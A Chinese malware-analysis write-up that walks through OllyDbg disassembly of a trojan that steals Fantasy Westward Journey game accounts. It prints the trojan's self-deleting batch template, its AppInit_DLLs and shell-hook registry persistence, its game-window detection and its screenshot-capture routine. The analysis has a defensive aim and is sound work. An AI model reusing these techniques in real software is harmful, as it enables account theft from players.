0040211C    55              push    ebp
0040211D    8BEC            mov     ebp, esp
0040211F    81EC 28010000   sub     esp, 0x128
00402125    837D 08 00      cmp     dword ptr [ebp+0x8], 0x0
00402129    56              push    esi
0040212A    74 61           je      short 0040218D
0040212C    6A 00           push    0x0
0040212E    6A 02           push    0x2
00402130    E8 85180000     call    <jmp.&kernel32.CreateToolhelp32Snapshot>
00402135    8BF0            mov     esi, eax
00402137    83FE FF         cmp     esi, -0x1
0040213A    74 51           je      short 0040218D
0040213C    57              push    edi
0040213D    6A 49           push    0x49
0040213F    59              pop     ecx
00402140    33C0            xor     eax, eax
00402142    8DBD DCFEFFFF   lea     edi, dword ptr [ebp-0x124]
00402148    F3:AB           rep     stos dword ptr es:[edi]
0040214A    8D85 D8FEFFFF   lea     eax, dword ptr [ebp-0x128]
00402150    C785 D8FEFFFF 2>mov     dword ptr [ebp-0x128], 0x128
0040215A    50              push    eax
0040215B    56              push    esi
0040215C    E8 53180000     call    <jmp.&kernel32.Process32First>
00402161    5F              pop     edi
00402162    85C0            /test    eax, eax
00402164    74 20           |je      short 00402186
00402166    FF75 0C         |push    dword ptr [ebp+0xC]
00402169    8D85 D8FEFFFF   |lea     eax, dword ptr [ebp-0x128]
0040216F    50              |push    eax
00402170    FF55 08         |call    dword ptr [ebp+0x8]
00402173    85C0            |test    eax, eax
00402175    74 0F           |je      short 00402186
00402177    8D85 D8FEFFFF   |lea     eax, dword ptr [ebp-0x128]
0040217D    50              |push    eax
0040217E    56              |push    esi
0040217F    E8 2A180000     |call    <jmp.&kernel32.Process32Next>
00402184  ^ EB DC           \jmp     short 00402162
00402186    56              push    esi
00402187    FF15 0C414000   call    dword ptr [<&kernel32.CloseHandle>]                       ; kernel32.CloseHandle
0040218D    5E              pop     esi
0040218E    C9              leave
0040218F    C2 0800         retn    0x8
}
00401EDE    E8 57080000     call    0040273A                                ; 再看下一段代码,应该是清理现场,收尾的工作:
{
0040273A  /$  55            push    ebp                            ; 
0040273B  |.  8BEC          mov     ebp, esp
0040273D  |.  81EC 10050000 sub     esp, 0x510
00402743  |.  53            push    ebx
00402744  |.  56            push    esi
00402745  |.  57            push    edi
00402746  |.  8D85 F4FDFFFF lea     eax, dword ptr [ebp-0x20C]
0040274C  |.  68 04010000   push    0x104                          ; /BufSize = 104 (260.)
00402751  |.  33FF          xor     edi, edi                       ; |
00402753  |.  50            push    eax                            ; |PathBuffer
00402754  |.  57            push    edi                            ; |hModule => NULL
00402755  |.  FF15 CC404000 call    dword ptr [<&kernel32.GetModul>; \GetModuleFileNameA
  得到了当前EXE文件的路径。
0040275B  |.  FF15 94404000 call    dword ptr [<&kernel32.GetTickC>; [GetTickCount
00402761  |.  8BD8          mov     ebx, eax
00402763  |.  8D85 F4FDFFFF lea     eax, dword ptr [ebp-0x20C]
00402769  |.  8B35 28414000 mov     esi, dword ptr [<&msvcrt.sprin>;  msvcrt.sprintf
0040276F  |.  53            push    ebx                            ; /<%x>
00402770  |.  50            push    eax                            ; |<%s>
00402771  |.  8D85 F4FDFFFF lea     eax, dword ptr [ebp-0x20C]     ; |
00402777  |.  50            push    eax                            ; |<%s>
00402778  |.  8D85 F0FAFFFF lea     eax, dword ptr [ebp-0x510]     ; |
0040277E  |.  68 B8594000   push    004059B8                       ; |:repeat\n\ndel "%s"\n\nif exist "%s" goto repeat\n\ndel "c:\del%x.bat"\n\n
00402783  |.  50            push    eax                            ; |s
00402784  |.  FFD6          call    esi                            ; \sprintf
构造批处理文件的内容。
00402786  |.  83C4 14       add     esp, 0x14
00402789  |.  8D85 F0FCFFFF lea     eax, dword ptr [ebp-0x310]
0040278F  |.  53            push    ebx
00402790  |.  68 A8594000   push    004059A8                       ;  c:\del%x.bat
00402795  |.  50            push    eax
00402796  |.  FFD6          call    esi
00402798  |.  83C4 0C       add     esp, 0xC
0040279B  |.  8D85 F0FCFFFF lea     eax, dword ptr [ebp-0x310]
004027A1  |.  57            push    edi                            ; /hTemplateFile
004027A2  |.  57            push    edi                            ; |Attributes
004027A3  |.  6A 02         push    0x2                            ; |Mode = CREATE_ALWAYS
004027A5  |.  57            push    edi                            ; |pSecurity
004027A6  |.  6A 01         push    0x1                            ; |ShareMode = FILE_SHARE_READ
004027A8  |.  68 00000040   push    0x40000000                     ; |Access = GENERIC_WRITE
004027AD  |.  50            push    eax                            ; |FileName
004027AE  |.  FF15 00414000 call    dword ptr [<&kernel32.CreateFi>; \创建批处理文件。
看堆栈:
  0012FA84   0012FCAC  |FileName = "c:\del1237519.bat"
  0012FA88   40000000  |Access = GENERIC_WRITE
  0012FA8C   00000001  |ShareMode = FILE_SHARE_READ
  0012FA90   00000000  |pSecurity = NULL
  0012FA94   00000002  |Mode = CREATE_ALWAYS
  0012FA98   00000000  |Attributes = 0
  0012FA9C   00000000  \hTemplateFile = NULL
004027B4  |.  8BF0          mov     esi, eax
004027B6  |.  83FE FF       cmp     esi, -0x1
004027B9  |.  74 74         je      short 0040282F
004027BB  |.  8D45 FC       lea     eax, dword ptr [ebp-0x4]
004027BE  |.  57            push    edi
004027BF  |.  50            push    eax
004027C0  |.  8D85 F0FAFFFF lea     eax, dword ptr [ebp-0x510]
004027C6  |.  50            push    eax                            ; /s
004027C7  |.  E8 F4110000   call    <jmp.&msvcrt.strlen>           ; \strlen
004027CC  |.  59            pop     ecx                            ; |
004027CD  |.  50            push    eax                            ; |nBytesToWrite
004027CE  |.  8D85 F0FAFFFF lea     eax, dword ptr [ebp-0x510]     ; |
004027D4  |.  50            push    eax                            ; |Buffer
004027D5  |.  56            push    esi                            ; |hFile
004027D6  |.  FF15 08414000 call    dword ptr [<&kernel32.WriteFil>; \写入批处理的内容
004027DC  |.  56            push    esi                            ; /hObject
004027DD  |.  FF15 0C414000 call    dword ptr [<&kernel32.CloseHan>; \CloseHandle
004027E3  |.  8D85 F8FEFFFF lea     eax, dword ptr [ebp-0x108]
004027E9  |.  68 03010000   push    0x103                          ; /BufSize = 103 (259.)
004027EE  |.  50            push    eax                            ; |Buffer
004027EF  |.  68 A0594000   push    004059A0                       ; |comspec
004027F4  |.  FF15 90404000 call    dword ptr [<&kernel32.GetEnvir>; \GetEnvironmentVariableA
004027FA  |.  8D85 F8FEFFFF lea     eax, dword ptr [ebp-0x108]
00402800  |.  68 98594000   push    00405998                       ; / /c
00402805  |.  50            push    eax                            ; |dest
00402806  |.  E8 CD110000   call    <jmp.&msvcrt._mbscat>          ; \strcat
0040280B  |.  8D85 F0FCFFFF lea     eax, dword ptr [ebp-0x310]
00402811  |.  50            push    eax                            ; /src
00402812  |.  8D85 F8FEFFFF lea     eax, dword ptr [ebp-0x108]     ; |
00402818  |.  50            push    eax                            ; |dest
00402819  |.  E8 BA110000   call    <jmp.&msvcrt._mbscat>          ; \strcat
0040281E  |.  83C4 10       add     esp, 0x10
00402821  |.  8D85 F8FEFFFF lea     eax, dword ptr [ebp-0x108]
00402827  |.  57            push    edi                            ; /ShowState
00402828  |.  50            push    eax                            ; |CmdLine
00402829  |.  FF15 8C404000 call    dword ptr [<&kernel32.WinExec>>; \构造好批处理的目录和命令行,执行批处理。
看堆栈:
0012FA98   0012FEB4  |CmdLine = "C:\WINDOWS\system32\cmd.exe /c c:\del1237519.bat"
0012FA9C   00000000  \ShowState = SW_HIDE

呵呵,这里是最常用的应用程序删除自身的手法……
File1.jpg
}
00401EE3    6A 00           push    0x0
00401EE5    FF15 58404000   call    dword ptr [<&kernel32.ExitProcess>]     ; kernel32.ExitProcess
到现在,我们第一步分析完成了,整理一下我们现在的收获:
一、文件操作方面:
 1:这个程序的主要文件目录是:C:\WINDOWS\Fonts\
2:将EXE文件改名为DLL名字,大概模样是:"kb本地时间数字字符.dll",并拷贝到上面的目录中。
3:有一个名字为:C:\WINDOWS\Fonts\AeioFs.dat的配置文件记录了DLL的名字和ID。
4:C:\WINDOWS\Fonts\Encionc_ch.dat 记录发送目标的网址等信息。
5:C:\WINDOWS\Fonts\DNSRicip.dat 记录截取图片的路径
6:这个程序要删除一个补丁程序:verclsid.exe。
7:通过一个批处理删除了自身。
二、注册表操作方面:
 1、通过修改注册表键:”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_Dlls"的内容为自己是释放的DLL文件路径,来让操作系统自动载入此木马文件。
2、修改”HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9B1AE382-2647-4c4a-A313-B36B6CA34BD7}\InprocServer32"的内容为自己的DLL路径
3、修改”HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\explorer\shellexecutehooks"为自己的CLSID。
好,到现在,我们已经知道如何来清楚这个病毒了,或者实在无聊写一个清理工具也不错的。
出于好奇也为了保证此这个文章的完整性,现在我们看一下这个程序通过DLL方式运行的话,如果这个程序以DLL的方式注入的话,那应该做的就是我们要分析的后两项:
2:这个程序主要是针对什么,怎么做的操作(已经知道是梦幻的盗号木马,主要是分析怎么窃取到号码的)
3:将窃取到的信息怎么发送回去的,发送的目标是哪里。

我们猜测一下,可以知道,如果这个程序以DLL方式运行的话,那实践的功能应该就是监视信息,获取信息,发送信息。
我们先用OD的关键字看下:
00401071  /$  55            push    ebp                              ;  1
00401072  |.  8BEC          mov     ebp, esp
00401074  |.  81EC 84000000 sub     esp, 0x84
0040107A  |.  53            push    ebx
0040107B  |.  56            push    esi
0040107C  |.  57            push    edi
0040107D  |.  FF15 8C414000 call    dword ptr [<&user32.GetDesktopWi>; [GetDesktopWindow
00401083  |.  85C0          test    eax, eax
00401085  |.  74 56         je      short 004010DD
00401087  |.  8B3D 7C414000 mov     edi, dword ptr [<&user32.GetWind>;  user32.GetWindow
0040108D  |.  6A 05         push    0x5                              ; /Relation = GW_CHILD
0040108F  |.  50            push    eax                              ; |hWnd
00401090  |.  FFD7          call    edi                              ; \GetWindow
00401092  |.  8BF0          mov     esi, eax
00401094  |.  85F6          test    esi, esi
00401096  |.  74 45         je      short 004010DD
00401098  |.  FF15 14414000 call    dword ptr [<&kernel32.GetCurrent>; [GetCurrentProcessId
0040109E  |.  8BD8          mov     ebx, eax
004010A0  |>  6A 02         /push    0x2
004010A2  |.  56            |push    esi
004010A3  |.  FFD7          |call    edi
004010A5  |.  8BF0          |mov     esi, eax
004010A7  |.  8D45 FC       |lea     eax, dword ptr [ebp-0x4]
004010AA  |.  50            |push    eax                             ; /pProcessID
004010AB  |.  56            |push    esi                             ; |hWnd
004010AC  |.  FF15 80414000 |call    dword ptr [<&user32.GetWindowTh>; \GetWindowThreadProcessId
004010B2  |.  395D FC       |cmp     dword ptr [ebp-0x4], ebx
004010B5  |.  75 22         |jnz     short 004010D9
004010B7  |.  8D45 BC       |lea     eax, dword ptr [ebp-0x44]
004010BA  |.  6A 3F         |push    0x3F                            ; /Count = 3F (63.)
004010BC  |.  50            |push    eax                             ; |Buffer
004010BD  |.  56            |push    esi                             ; |hWnd
004010BE  |.  FF15 88414000 |call    dword ptr [<&user32.GetClassNam>; \GetClassNameA
004010C4  |.  8D45 BC       |lea     eax, dword ptr [ebp-0x44]       ;  取到的窗口类型
004010C7  |.  68 F0564000   |push    004056F0                        ; /wsgame
004010CC  |.  50            |push    eax                             ; |s1
004010CD  |.  FF15 3C414000 |call    dword ptr [<&msvcrt._strcmpi>]  ; \_stricmp
004010D3  |.  59            |pop     ecx                             ;  判断是不是梦幻西游
004010D4  |.  85C0          |test    eax, eax
004010D6  |.  59            |pop     ecx
004010D7  |.  74 0B         |je      short 004010E4
004010D9  |>  85F6          |test    esi, esi
004010DB  |.^ 75 C3         \jnz     short 004010A0
004010DD  |>  33C0          xor     eax, eax
004010DF  |.  E9 DF000000   jmp     004011C3
004010E4  |>  8D85 7CFFFFFF lea     eax, dword ptr [ebp-0x84]
下载代码是检测是否加载DLL,应该是用来确定时机的吧:
004019B1   .  53            push    ebx
004019B2   .  55            push    ebp
004019B3   .  56            push    esi
004019B4   .  BB 5C574000   mov     ebx, 0040575C                    ;  mhmain.dll
004019B9   .  57            push    edi
004019BA   .  8B3D E4404000 mov     edi, dword ptr [<&kernel32.GetMo>;  kernel32.GetModuleHandleA
004019C0   .  53            push    ebx                              ; /pModule => "mhmain.dll"
004019C1   .  FFD7          call    edi                              ; \GetModuleHandleA
004019C3   .  8B2D E8404000 mov     ebp, dword ptr [<&kernel32.Sleep>;  kernel32.Sleep
004019C9   .  8BF0          mov     esi, eax                         ;  这里应该是监控 mhmain.dll 是否加载了(是否是活动状态。)
004019CB   .  85F6          test    esi, esi
004019CD   .  75 10         jnz     short 004019DF
004019CF   >  68 E8030000   push    0x3E8
004019D4   .  FFD5          call    ebp
004019D6   .  53            push    ebx
004019D7   .  FFD7          call    edi
004019D9   .  8BF0          mov     esi, eax
004019DB   .  85F6          test    esi, esi
004019DD   .^ 74 F0         je      short 004019CF
再看另一段代码:
0040148D   /75 66           jnz     short 004014F5
0040148F   |53              push    ebx
00401490   |BB AC624000     mov     ebx, 004062AC
00401495   |57              push    edi
00401496   |BE 8C634000     mov     esi, 0040638C
0040149B   |53              push    ebx
0040149C   |56              push    esi
0040149D   |E8 2A250000     call    <jmp.&msvcrt._mbscpy>
004014A2   |68 24574000     push    00405724                         ; .bmp
004014A7   |56              push    esi
004014A8   |E8 2B250000     call    <jmp.&msvcrt._mbscat>
004014AD   |83C4 10         add     esp, 0x10
004014B0   |BF 18574000     mov     edi, 00405718                    ; tmpimg.bmp
004014B5   |57              push    edi
004014B6   |FF15 8C414000   call    dword ptr [<&user32.GetDesktopWi>; user32.GetDesktopWindow
004014BC   |50              push    eax
004014BD   |E8 5D150000     call    00402A1F
{
00402A29    68 80000000     push    0x80
00402A2E    6A 02           push    0x2
00402A30    53              push    ebx
00402A31    53              push    ebx
00402A32    68 00000040     push    0x40000000
00402A37    FF75 0C         push    dword ptr [ebp+0xC]
00402A3A    FF15 00414000   call    dword ptr [<&kernel32.CreateFile>; kernel32.CreateFileA
00402A40    83F8 FF         cmp     eax, -0x1
00402A43    8945 F8         mov     dword ptr [ebp-0x8], eax
00402A46    75 07           jnz     short 00402A4F
00402A48    33C0            xor     eax, eax
00402A4A    E9 96020000     jmp     00402CE5
00402A4F    395D 08         cmp     dword ptr [ebp+0x8], ebx
00402A52    56              push    esi
00402A53    57              push    edi
00402A54    75 12           jnz     short 00402A68
00402A56    8B35 6C414000   mov     esi, dword ptr [<&user32.GetSyst>; user32.GetSystemMetrics
00402A5C    53              push    ebx
00402A5D    FFD6            call    esi
00402A5F    6A 01           push    0x1
00402A61    8945 F4         mov     dword ptr [ebp-0xC], eax
00402A64    FFD6            call    esi
00402A66    EB 1C           jmp     short 00402A84
00402A68    8D45 B0         lea     eax, dword ptr [ebp-0x50]
00402A6B    50              push    eax
00402A6C    FF75 08         push    dword ptr [ebp+0x8]
00402A6F    FF15 70414000   call    dword ptr [<&user32.GetClientRec>; user32.GetClientRect
00402A75    8B45 B8         mov     eax, dword ptr [ebp-0x48]
00402A78    2B45 B0         sub     eax, dword ptr [ebp-0x50]
00402A7B    8945 F4         mov     dword ptr [ebp-0xC], eax
00402A7E    8B45 BC         mov     eax, dword ptr [ebp-0x44]
00402A81    2B45 B4         sub     eax, dword ptr [ebp-0x4C]
00402A84    FF75 08         push    dword ptr [ebp+0x8]
00402A87    8945 FC         mov     dword ptr [ebp-0x4], eax
00402A8A    FF15 74414000   call    dword ptr [<&user32.GetDC>]      ; user32.GetDC
00402A90    8BF8            mov     edi, eax
00402A92    57              push    edi
00402A93    897D 0C         mov     dword ptr [ebp+0xC], edi
00402A96    FF15 50404000   call    dword ptr [<&gdi32.CreateCompati>; gdi32.CreateCompatibleDC
00402A9C    FF75 FC         push    dword ptr [ebp-0x4]
00402A9F    8B35 4C404000   mov     esi, dword ptr [<&gdi32.CreateCo>; gdi32.CreateCompatibleBitmap
00402AA5    8945 E8         mov     dword ptr [ebp-0x18], eax
00402AA8    FF75 F4         push    dword ptr [ebp-0xC]
00402AAB    57              push    edi
00402AAC    FFD6            call    esi
00402AAE    6A 08           push    0x8
00402AB0    6A 08           push    0x8
00402AB2    57              push    edi
00402AB3    8945 EC         mov     dword ptr [ebp-0x14], eax
00402AB6    FFD6            call    esi
00402AB8    68 2C040000     push    0x42C
00402ABD    6A 42           push    0x42
00402ABF    8945 D8         mov     dword ptr [ebp-0x28], eax
00402AC2    FF15 EC404000   call    dword ptr [<&kernel32.GlobalAllo>; kernel32.GlobalAlloc
00402AC8    50              push    eax
00402AC9    8945 D0         mov     dword ptr [ebp-0x30], eax
00402ACC    FF15 F0404000   call    dword ptr [<&kernel32.GlobalLock>; kernel32.GlobalLock
00402AD2    FF75 EC         push    dword ptr [ebp-0x14]
00402AD5    8B3D 48404000   mov     edi, dword ptr [<&gdi32.SelectOb>; gdi32.SelectObject
00402ADB    8BF0            mov     esi, eax
00402ADD    FF75 E8         push    dword ptr [ebp-0x18]
00402AE0    FFD7            call    edi
00402AE2    68 2000CC00     push    0xCC0020
00402AE7    53              push    ebx
00402AE8    53              push    ebx
00402AE9    FF75 0C         push    dword ptr [ebp+0xC]
00402AEC    FF75 FC         push    dword ptr [ebp-0x4]
00402AEF    FF75 F4         push    dword ptr [ebp-0xC]
00402AF2    53              push    ebx
00402AF3    53              push    ebx
00402AF4    FF75 E8         push    dword ptr [ebp-0x18]
00402AF7    FF15 44404000   call    dword ptr [<&gdi32.BitBlt>]      ; gdi32.BitBlt
00402AFD    FF75 D8         push    dword ptr [ebp-0x28]
00402B00    FF75 E8         push    dword ptr [ebp-0x18]
00402B03    FFD7            call    edi
00402B05    6A 2C           push    0x2C
00402B07    53              push    ebx
00402B08    56              push    esi
00402B09    E8 020F0000     call    <jmp.&msvcrt.memset>
00402B0E    8B45 F4         mov     eax, dword ptr [ebp-0xC]
00402B11    8B3D 40404000   mov     edi, dword ptr [<&gdi32.GetDevic>; gdi32.GetDeviceCaps
00402B17    83C4 0C         add     esp, 0xC
00402B1A    8946 04         mov     dword ptr [esi+0x4], eax
00402B1D    8B45 FC         mov     eax, dword ptr [ebp-0x4]
00402B20    C706 28000000   mov     dword ptr [esi], 0x28
00402B26    6A 0C           push    0xC
00402B28    8946 08         mov     dword ptr [esi+0x8], eax
00402B2B    FF75 0C         push    dword ptr [ebp+0xC]
00402B2E    66:C746 0C 0100 mov     word ptr [esi+0xC], 0x1
00402B34    FFD7            call    edi
00402B36    53              push    ebx
00402B37    56              push    esi
00402B38    53              push    ebx
00402B39    66:8946 0E      mov     word ptr [esi+0xE], ax
00402B3D    FF75 FC         push    dword ptr [ebp-0x4]
00402B40    895E 10         mov     dword ptr [esi+0x10], ebx
00402B43    53              push    ebx
00402B44    FF75 EC         push    dword ptr [ebp-0x14]
00402B47    FF75 0C         push    dword ptr [ebp+0xC]
00402B4A    FF15 3C404000   call    dword ptr [<&gdi32.GetDIBits>]   ; gdi32.GetDIBits
00402B50    395E 14         cmp     dword ptr [esi+0x14], ebx
00402B53    75 1A           jnz     short 00402B6F
00402B55    0FB746 0E       movzx   eax, word ptr [esi+0xE]
00402B59    0FAF46 04       imul    eax, dword ptr [esi+0x4]
00402B5D    83C0 1F         add     eax, 0x1F
00402B60    6A 08           push    0x8
00402B62    24 E0           and     al, 0xE0
00402B64    59              pop     ecx
00402B65    99              cdq
00402B66    F7F9            idiv    ecx
00402B68    0FAF46 08       imul    eax, dword ptr [esi+0x8]
00402B6C    8946 14         mov     dword ptr [esi+0x14], eax
00402B6F    6A 68           push    0x68
00402B71    FF75 0C         push    dword ptr [ebp+0xC]
00402B74    FFD7            call    edi
00402B76    8B4E 14         mov     ecx, dword ptr [esi+0x14]
00402B79    8945 F4         mov     dword ptr [ebp-0xC], eax
00402B7C    8D0485 36000000 lea     eax, dword ptr [eax*4+0x36]
00402B83    8B3D 08414000   mov     edi, dword ptr [<&kernel32.Write>; kernel32.WriteFile
00402B89    8945 CA         mov     dword ptr [ebp-0x36], eax
00402B8C    03C1            add     eax, ecx
00402B8E    8945 C2         mov     dword ptr [ebp-0x3E], eax
00402B91    8D45 E4         lea     eax, dword ptr [ebp-0x1C]
00402B94    53              push    ebx
00402B95    50              push    eax
00402B96    8D45 C0         lea     eax, dword ptr [ebp-0x40]
00402B99    6A 0E           push    0xE
00402B9B    50              push    eax
00402B9C    894D D4         mov     dword ptr [ebp-0x2C], ecx
00402B9F    FF75 F8         push    dword ptr [ebp-0x8]
00402BA2    66:C745 C0 424D mov     word ptr [ebp-0x40], 0x4D42
00402BA8    66:895D C6      mov     word ptr [ebp-0x3A], bx
00402BAC    66:895D C8      mov     word ptr [ebp-0x38], bx
00402BB0    FFD7            call    edi
00402BB2    8D45 E4         lea     eax, dword ptr [ebp-0x1C]
00402BB5    53              push    ebx
00402BB6    50              push    eax
00402BB7    6A 28           push    0x28
00402BB9    56              push    esi
00402BBA    FF75 F8         push    dword ptr [ebp-0x8]
00402BBD    FFD7            call    edi
00402BBF    8B45 F4         mov     eax, dword ptr [ebp-0xC]
00402BC2    3BC3            cmp     eax, ebx
00402BC4    0F84 8F000000   je      00402C59
00402BCA    8D0485 08000000 lea     eax, dword ptr [eax*4+0x8]
00402BD1    50              push    eax
00402BD2    6A 42           push    0x42
00402BD4    FF15 EC404000   call    dword ptr [<&kernel32.GlobalAllo>; kernel32.GlobalAlloc
00402BDA    50              push    eax
00402BDB    8945 DC         mov     dword ptr [ebp-0x24], eax
00402BDE    FF15 F0404000   call    dword ptr [<&kernel32.GlobalLock>; kernel32.GlobalLock
00402BE4    8B4D F4         mov     ecx, dword ptr [ebp-0xC]
00402BE7    8945 E0         mov     dword ptr [ebp-0x20], eax
00402BEA    66:8948 02      mov     word ptr [eax+0x2], cx
00402BEE    66:C700 0003    mov     word ptr [eax], 0x300
00402BF3    83C0 04         add     eax, 0x4
00402BF6    50              push    eax
00402BF7    51              push    ecx
00402BF8    53              push    ebx
00402BF9    FF75 0C         push    dword ptr [ebp+0xC]
00402BFC    FF15 38404000   call    dword ptr [<&gdi32.GetSystemPale>; gdi32.GetSystemPaletteEntries
00402C02    8B4D F4         mov     ecx, dword ptr [ebp-0xC]
00402C05    885D F3         mov     byte ptr [ebp-0xD], bl
00402C08    3BCB            cmp     ecx, ebx
00402C0A    7E 3B           jle     short 00402C47
00402C0C    8B45 E0         mov     eax, dword ptr [ebp-0x20]
00402C0F    894D E0         mov     dword ptr [ebp-0x20], ecx
00402C12    83C0 05         add     eax, 0x5
00402C15    8945 F4         mov     dword ptr [ebp-0xC], eax
00402C18    EB 03           jmp     short 00402C1D
00402C1A    8B45 F4         /mov     eax, dword ptr [ebp-0xC]
00402C1D    8A48 FF          mov     cl, byte ptr [eax-0x1]
00402C20    53              |push    ebx
00402C21    884D F2         |mov     byte ptr [ebp-0xE], cl
00402C24    8A08            |mov     cl, byte ptr [eax]
00402C26    884D F1         |mov     byte ptr [ebp-0xF], cl
00402C29    8A40 01         |mov     al, byte ptr [eax+0x1]
00402C2C    8845 F0         |mov     byte ptr [ebp-0x10], al
00402C2F    8D45 E4         |lea     eax, dword ptr [ebp-0x1C]
00402C32    50              |push    eax
00402C33    8D45 F0         |lea     eax, dword ptr [ebp-0x10]
00402C36    6A 04           |push    0x4
00402C38    50              |push    eax
00402C39    FF75 F8         |push    dword ptr [ebp-0x8]
00402C3C    FFD7            |call    edi
00402C3E    8345 F4 04      |add     dword ptr [ebp-0xC], 0x4
00402C42    FF4D E0         |dec     dword ptr [ebp-0x20]
00402C45  ^ 75 D3           \jnz     short 00402C1A
00402C47    FF75 DC         push    dword ptr [ebp-0x24]
00402C4A    FF15 A4404000   call    dword ptr [<&kernel32.GlobalUnlo>; kernel32.GlobalUnlock
00402C50    FF75 DC         push    dword ptr [ebp-0x24]
00402C53    FF15 A0404000   call    dword ptr [<&kernel32.GlobalFree>; kernel32.GlobalFree
00402C59    FF76 14         push    dword ptr [esi+0x14]
00402C5C    6A 42           push    0x42
00402C5E    FF15 EC404000   call    dword ptr [<&kernel32.GlobalAllo>; kernel32.GlobalAlloc
00402C64    50              push    eax
00402C65    8945 DC         mov     dword ptr [ebp-0x24], eax
00402C68    FF15 F0404000   call    dword ptr [<&kernel32.GlobalLock>; kernel32.GlobalLock
00402C6E    53              push    ebx
00402C6F    56              push    esi
00402C70    50              push    eax
00402C71    8945 E0         mov     dword ptr [ebp-0x20], eax
00402C74    FF75 FC         push    dword ptr [ebp-0x4]
00402C77    53              push    ebx
00402C78    FF75 EC         push    dword ptr [ebp-0x14]
00402C7B    FF75 0C         push    dword ptr [ebp+0xC]
00402C7E    FF15 3C404000   call    dword ptr [<&gdi32.GetDIBits>]   ; gdi32.GetDIBits
00402C84    8D45 E4         lea     eax, dword ptr [ebp-0x1C]
00402C87    53              push    ebx
00402C88    50              push    eax
00402C89    FF75 D4         push    dword ptr [ebp-0x2C]
00402C8C    FF75 E0         push    dword ptr [ebp-0x20]
00402C8F    FF75 F8         push    dword ptr [ebp-0x8]
00402C92    FFD7            call    edi
00402C94    FF75 DC         push    dword ptr [ebp-0x24]
00402C97    8B3D A4404000   mov     edi, dword ptr [<&kernel32.Globa>; kernel32.GlobalUnlock
00402C9D    FFD7            call    edi
00402C9F    FF75 DC         push    dword ptr [ebp-0x24]
00402CA2    8B1D A0404000   mov     ebx, dword ptr [<&kernel32.Globa>; kernel32.GlobalFree
00402CA8    FFD3            call    ebx
00402CAA    56              push    esi
00402CAB    FFD7            call    edi
00402CAD    FF75 D0         push    dword ptr [ebp-0x30]
00402CB0    FFD3            call    ebx
00402CB2    FF75 D8         push    dword ptr [ebp-0x28]
00402CB5    8B35 34404000   mov     esi, dword ptr [<&gdi32.DeleteOb>; gdi32.DeleteObject
00402CBB    FFD6            call    esi
00402CBD    FF75 EC         push    dword ptr [ebp-0x14]
00402CC0    FFD6            call    esi
00402CC2    FF75 E8         push    dword ptr [ebp-0x18]
00402CC5    FF15 30404000   call    dword ptr [<&gdi32.DeleteDC>]    ; gdi32.DeleteDC
00402CCB    FF75 0C         push    dword ptr [ebp+0xC]
00402CCE    FF75 08         push    dword ptr [ebp+0x8]
00402CD1    FF15 78414000   call    dword ptr [<&user32.ReleaseDC>]  ; user32.ReleaseDC
00402CD7    FF75 F8         push    dword ptr [ebp-0x8]
00402CDA    FF15 0C414000   call    dword ptr [<&kernel32.CloseHandl>; kernel32.CloseHandle
00402CE0    6A 01           push    0x1
00402CE2    58              pop     eax
00402CE3    5F              pop     edi
00402CE4    5E              pop     esi
00402CE5    5B              pop     ebx
00402CE6    C9              leave
00402CE7    C2 0800         retn    0x8
这段截图的代码在网上传的很火的,比如:http://blog.sina.com.cn/s/blog_55eccf2101009ojy.html
}
 
004014C2   |68 00574000     push    00405700                         ; image/jpeg
004014C7   |56              push    esi
004014C8   |57              push    edi
004014C9   |E8 F71E0000     call    004033C5
{
004033C5    55              push    ebp
004033C6    8BEC            mov     ebp, esp
004033C8    81EC 58040000   sub     esp, 0x458
004033CE    53              push    ebx
004033CF    56              push    esi
004033D0    57              push    edi
004033D1    68 AC5A4000     push    00405AAC                         ; ASCII "gdiplus.dll"
004033D6    FF15 D4404000   call    dword ptr [<&kernel32.LoadLibrar>; kernel32.LoadLibraryA
004033DC    8BF8            mov     edi, eax
004033DE    33DB            xor     ebx, ebx
004033E0    3BFB            cmp     edi, ebx
004033E2    0F84 96000000   je      0040347E
004033E8    8B35 B4404000   mov     esi, dword ptr [<&kernel32.GetPr>; kernel32.GetProcAddress
004033EE    68 9C5A4000     push    00405A9C                         ; ASCII "GdiplusStartup"
004033F3    57              push    edi
004033F4    FFD6            call    esi
004033F6    68 805A4000     push    00405A80                         ; ASCII "GdipGetImageEncodersSize"
004033FB    57              push    edi
004033FC    8945 F4         mov     dword ptr [ebp-0xC], eax
004033FF    FFD6            call    esi
00403401    68 685A4000     push    00405A68                         ; ASCII "GdipGetImageEncoders"
00403406    57              push    edi
00403407    8945 FC         mov     dword ptr [ebp-0x4], eax
0040340A    FFD6            call    esi
0040340C    68 505A4000     push    00405A50                         ; ASCII "GdipLoadImageFromFile"
00403411    57              push    edi
00403412    8945 DC         mov     dword ptr [ebp-0x24], eax
00403415    FFD6            call    esi
00403417    68 3C5A4000     push    00405A3C                         ; ASCII "GdipSaveImageToFile"
0040341C    57              push    edi
0040341D    8945 E8         mov     dword ptr [ebp-0x18], eax
00403420    FFD6            call    esi
00403422    68 285A4000     push    00405A28                         ; ASCII "GdipDisposeImage"
00403427    57              push    edi
00403428    8945 E4         mov     dword ptr [ebp-0x1C], eax
0040342B    FFD6            call    esi
0040342D    8945 E0         mov     dword ptr [ebp-0x20], eax
00403430    8D45 CC         lea     eax, dword ptr [ebp-0x34]
00403433    53              push    ebx
00403434    50              push    eax
00403435    8D45 C8         lea     eax, dword ptr [ebp-0x38]
00403438    895D F0         mov     dword ptr [ebp-0x10], ebx
0040343B    50              push    eax
0040343C    895D F8         mov     dword ptr [ebp-0x8], ebx
0040343F    C745 CC 0100000>mov     dword ptr [ebp-0x34], 0x1
00403446    895D D0         mov     dword ptr [ebp-0x30], ebx
00403449    895D D4         mov     dword ptr [ebp-0x2C], ebx
0040344C    895D D8         mov     dword ptr [ebp-0x28], ebx
0040344F    FF55 F4         call    dword ptr [ebp-0xC]
00403452    8D45 F8         lea     eax, dword ptr [ebp-0x8]
00403455    50              push    eax
00403456    8D45 F0         lea     eax, dword ptr [ebp-0x10]
00403459    50              push    eax
0040345A    FF55 FC         call    dword ptr [ebp-0x4]
0040345D    395D F8         cmp     dword ptr [ebp-0x8], ebx
00403460    74 1C           je      short 0040347E
00403462    6A 04           push    0x4
00403464    68 00100000     push    0x1000
00403469    FF75 F8         push    dword ptr [ebp-0x8]
0040346C    53              push    ebx
0040346D    6A FF           push    -0x1
